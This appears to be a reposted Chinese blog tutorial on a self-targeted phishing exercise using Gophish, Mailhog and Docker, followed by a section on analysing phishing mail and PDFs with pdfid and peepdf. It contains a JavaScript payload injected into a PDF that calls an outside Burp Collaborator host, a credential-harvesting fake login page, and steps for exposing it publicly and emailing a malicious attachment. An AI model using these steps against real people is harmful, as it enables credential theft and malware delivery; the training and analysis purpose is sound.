网络钓鱼实战,自己钓自己还有不上当的?
2022-2-22 09:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:53 收藏

今天给大家分享一个自己钓自己的网络钓鱼攻击案例,我将从创建到实施做一个完整的讲解,其中会使用 docker,更方便的搭建环境,主要用到的工具包括:Gophish(一个钓鱼框架)、Mailhog(邮件发送服务)。

攻击活动

这里使用的钓鱼鱼饵是 pdf,将恶意的 js 代码注入到 pdf 文件,然后创建一个虚假登录网站,让受害者打开虚假网站,输入账号密码,或者下载附件执行恶意 js 代码。

第一步:创建恶意 pdf 文件

使用到的开源工具 JS2PDFInjector,项目地址:

https://github.com/cornerpirate/JS2PDFInjector

可以将一个简单的恶意 js 注入到 pdf 文件:

这个 js 的功能是弹出警告框,作为演示,代码:

app.alert("alter alert");this.submitForm('http://azdn342b12dbmo0uvmj5yrekrbx1lq.burpcollaborator.net');

使用方法:

java -jar JS2PDFInjector-1.0.jar $(pwd)/sample.pdf app.js

注意:参数中需要提供 pdf 的绝对路径,否则会报错,如图:

第二步:创建网络钓鱼服务 

使用下面的 docker 配置文件,启动 docker 服务:

services:  gophish:    image: "gophish/gophish"    ports:      - "3333:3333"  mailhog:    image: "mailhog/mailhog"    ports:      - "1025:1025"      - "8025:8025"    depends_on:        - gophish

启动服务:

gophish 服务使用的是 3333 端口,默认用户名密码为 admin/gophish。由于 docker 每次启动时密码都不同,所以无法使用默认密码登录,可以在控制台看到密码:

docker run -it --rm -p 3333:3333 gophish/gophish

然后使用获得的密码登录系统:

然后首次登录需要修改密码:

登录系统之后:

第三步:自建 SMTP 服务

我们使用 mailhog 来创建 SMTP 服务,启动服务之后,绑定的地址是 0.0.0.0:1025:

可以使用 GUI 登录:

第四步:配置 gophish

1、创建发送的配置

[email protected] 是发送邮件的邮箱地址,填写 SMTP 的地址 0.0.0.0:1025 :

然后发送测试邮件,我用来接收测试邮件的地址是 [email protected]

点击发送按钮,看到一个报错信息:

如果我们不是使用 docker 来创建服务,可能不会存在这个问题,因为两个服务不在同一个 docker 中运行,无法链接 smtp 服务器,我们必须使用 IP 而不是绑定的本地地址。

如果两个 docker 在桥接网络中,他们是可以相互通信的,首先要注意钓鱼服务创建的网络 ID:

docker network ls

接下来查看其分配的 IP 地址,我们需要知道 mailhog 的 IP :

docker network inspect fcff01c8be6a

上图是分配的网段信息,向下翻找出 mailhob 服务的 IP:

然后返回之前的邮箱配置,再次尝试:

重复之前的测试过程发现成功发送:

去邮箱查看是否收到邮件:

接下来保存配置文件,进行后续的操作。

2、制作虚假登录页

这个页面是展示给受害者查看的,需要结合一些用户感兴趣的内容,才能提高成功率,比如彩票中奖、热点话题、紧急密码重置页面等。

作为攻击者,如果制作的登录页面太假,受害者将不会上当,按你的期望执行,我这里做了一个简单的登录页面,然后在用户登录之后,将会记录它的账号密码信息,源码:

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>Right Now Nothing</title> </head> <body>     <form method="post" >        name:<input name="username" ><br>         pass:<input name="password" ><br>     <input type="submit" value="submit"></form>     </body> </html>

使用 ngrok 创建一个隧道,可以设置在公网上,供任意人访问:

ngrok http 9002

我们还需要在本地创建一个服务,否则无法远程连接到本地:

本地使用 python 创建 http 服务:

我们可以通过导入网站的方式,也可以通过复制源代码的方式新建页面:

导入之后,就可以看到页面的展示:

在增加一个登录完成之后,重定向之后的页面:

页面内容如图:

保存之后,你也可以对其进行修改或者删除:

3、制作电子邮件内容

目标是否点击你的钓鱼链接,取决于你的邮件内容是否有足够的吸引力,这个环节失败,那么整个钓鱼过程就失败了,为了验证技术,我简单创建了一个,在实际钓鱼中,一定会失败,因为很假:

{{.URL}} 会自动替换为 gophish 的服务器 IP,{{.FirstName}}会自动替换为目标邮箱的名字。

接下来可以添加一个图片,用来记录用户是否打开邮件并查看内容,何时打开的:

这里我已经创建了一个电子邮件模板:

忘记添加附件了,我们来编辑一下,点击增加文件的功能,添加恶意附件:

4、用户和组

我们可以在 gophish 上导入受害者列表:

我们添加了一个测试用户 john wick,可以修改,也可以删除。

5、攻击尝试

创建一个新的钓鱼活动,选择我们之前创建的电子邮件模板、登录页面和用户组,用户访问的 URL 是 gophish 的监听端口,服务器 IP 是 172.18.0.2,直接用 IP 可能不那么可信,可以注册域名并配置解析,这里我简单用 host 来修改:

由于邮件模板中使用的是 {{.URL}},所以需要配置 gopher 的监听 URL:

启动攻击之后,可以在仪表盘看到邮件发送成功,是否打开邮件,是否点击链接等行为:

我们再次进入 mailhog 的控制面板,可以看到收件箱有一封电子邮件:

打开之后,内容如图:

我们在 MIME 中可以看到我们添加的附件:

下载 pdf 附件,当我们打开邮件内容中的 URL 时,会看到登录页面:

填写信息后登录:

会跳转到我们预定义好的页面:

再来看看仪表盘,我们看到信息有变化,记录了详细的信息:

点击查看详情的按钮:

结果如图:

我们看到了获得的用户名和密码,接下来尝试打开我们制作好的 pdf,发现 js 执行成功,弹出了警报框:

当然,执行 js 不只是这个,还能做很多其他的事儿,需要大家自己去拓展。脚本中还有链接远程服务器的代码,执行如图:

点击允许之后,会在 burp 的协作服务器收到 DNS 和 HTTP 的请求记录:

这就是一次完整的钓鱼攻击活动记录。

如何分析

分析钓鱼邮件或者附件,需要在沙盒中完成,不然自己就成了受害者,偷鸡不成蚀把米。

查看钓鱼邮件分析可可疑内容

1、分析来源

2、尝试查找电子邮件的来源,例如发件人的 IP,分析电子邮件标题

两个消息头分析的网站:

https://toolbox.googleapps.com/apps/messageheader/analyzeheader

https://mha.azurewebsites.net/

3、提取分析 URL 

https://gchq.github.io/CyberChef/#recipe=Extract_URLs%28false%29Defang_URL%28true,true,true,%27Valid%20domains%20and%20full%20URLs%27%29&input=aHR0cDovL2dvb2dsZS5jb20

4、检查可疑 URL 或 IP 地址的 DNS 记录

5、截取可疑 URL 或 IP 地址的屏幕截图

https://www.url2png.com/

6、检测 URL 或者 IP 是否已被加黑

https://www.ipvoid.com/ip-blacklist-check/

7、检测 URL 或者 IP 是否存在恶意

https://www.virustotal.com/gui/home/upload

8、下载附件,上传分析,看是否是已知威胁

https://www.virustotal.com/gui/home/upload

https://talosintelligence.com/talos_file_reputation

9、最后使用手工或者工具分析恶意软件

以 pdf 为例做恶意分析

REMnux 是一个用于逆向工程和分析恶意软件的 Linux 工具包。REMnux 提供由社区创建的精选免费工具集合。分析师可以使用它来调查恶意软件,而无需查找、安装和配置工具。

使用 docker 来安装部署该工具:

docker pull remnux/remnux-distrodocker run --rm -itd remnux/remnux-distro /bin/bashdocker cp downloadme.pdf '<contid>:/tmp'docker exec -it d3511ccab833 /bin/bash

进入 docker 之后:

首先检查 pdf 是否具有正确的 magic 数:

检查方式,可以参考:

https://en.wikipedia.org/wiki/List_of_file_signatures

接下来使用一个名为 pdfid 的工具来分析 pdf 文件:

pdfid lastone.pdf 

可以看到 pdf 中包含了 javascript 内容,而且不能打开 pdf,因为 /OpenAction 也是 1 ,这个意思是打开 pdf 文件时会执行一些操作。其他内容的意思:

/Page - pdf 的页数/Encrypt - 规定需要读取的密码/ObjStm - 对象流/Js - pdf 文件可能包含恶意打开的 js 代码/AA 和 /OpenAction - 当我们打开 pdf 文件时将自动执行的操作。可以自动启动恶意 js 命令/AcroForm - 使用 Adobe Acrobat Pro/Standard 制作的 pdf 表单/JBIG2Decode - 表示 pdf 使用 JBIG2Decode 压缩/RichMedia - 用于在 pdf 上嵌入文件、视频等/Launch - 启动一些动作/EmbeddedFile - 包含一些外部文件/XFA - XML 表单架构/URI - 要访问的 URL

我还发现一个工具 peepdf 比 pdfid 更好,因为 peepdf 可以提供相同的信息:

peepdf lastone.pdf

接下来,我们提取 pdf 中的 js 代码,首先将下面的内容保存到 extract.txt:

extract js > extracted.txt

然后执行命令:

peepdf -s extract.txt malicouspdf.pdf

到这里,整个分析就结束了。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247496954&idx=1&sn=7555f278da4ccbb01ddfe80b794fa6f4&chksm=ec1dc4d2db6a4dc4d396713a48a23beeec937a556c47162bd42f1d4b62c9cfe8f8a2a1f9e58d#rd
如有侵权请联系:admin#unsafe.sh